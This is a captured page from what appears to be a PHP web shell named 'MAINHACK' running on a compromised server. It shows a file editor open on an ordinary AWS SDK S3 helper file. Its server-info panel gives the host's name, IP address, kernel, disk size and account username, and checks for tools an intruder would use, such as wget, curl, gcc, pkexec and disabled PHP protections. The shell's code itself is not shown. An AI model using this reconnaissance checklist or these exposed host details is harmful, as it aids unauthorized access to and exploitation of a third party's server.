[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: EndpointRegionHelperTrait.php
<?php namespace Aws\S3; use Aws\Api\Service; use Aws\Arn\ArnInterface; use Aws\Arn\S3\OutpostsArnInterface; use Aws\Endpoint\PartitionEndpointProvider; use Aws\Exception\InvalidRegionException; /** * @internal */ trait EndpointRegionHelperTrait { /** @var array */ private $config; /** @var PartitionEndpointProvider */ private $partitionProvider; /** @var string */ private $region; /** @var Service */ private $service; private function getPartitionSuffix( ArnInterface $arn, PartitionEndpointProvider $provider ) { $partition = $provider->getPartition( $arn->getRegion(), $arn->getService() ); return $partition->getDnsSuffix(); } private function getSigningRegion( $region, $service, PartitionEndpointProvider $provider ) { $partition = $provider->getPartition($region, $service); $data = $partition->toArray(); if (isset($data['services'][$service]['endpoints'][$region]['credentialScope']['region'])) { return $data['services'][$service]['endpoints'][$region]['credentialScope']['region']; } return $region; } private function isMatchingSigningRegion( $arnRegion, $clientRegion, $service, PartitionEndpointProvider $provider ) { $arnRegion = \Aws\strip_fips_pseudo_regions(strtolower($arnRegion)); $clientRegion = strtolower($clientRegion); if ($arnRegion === $clientRegion) { return true; } if ($this->getSigningRegion($clientRegion, $service, $provider) === $arnRegion) { return true; } return false; } private function validateFipsConfigurations(ArnInterface $arn) { $useFipsEndpoint = !empty($this->config['use_fips_endpoint']); if ($arn instanceof OutpostsArnInterface) { if (empty($this->config['use_arn_region']) || !($this->config['use_arn_region']->isUseArnRegion()) ) { $region = $this->region; } else { $region = $arn->getRegion(); } if (\Aws\is_fips_pseudo_region($region)) { throw new InvalidRegionException( 'Fips is currently not supported with S3 Outposts access' . ' points. Please provide a non-fips region or do not supply an' . ' access point ARN.'); } } } private function validateMatchingRegion(ArnInterface $arn) { if (!($this->isMatchingSigningRegion( $arn->getRegion(), $this->region, $this->service->getEndpointPrefix(), $this->partitionProvider) )) { if (empty($this->config['use_arn_region']) || !($this->config['use_arn_region']->isUseArnRegion()) ) { throw new InvalidRegionException('The region' . " specified in the ARN (" . $arn->getRegion() . ") does not match the client region (" . "{$this->region})."); } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002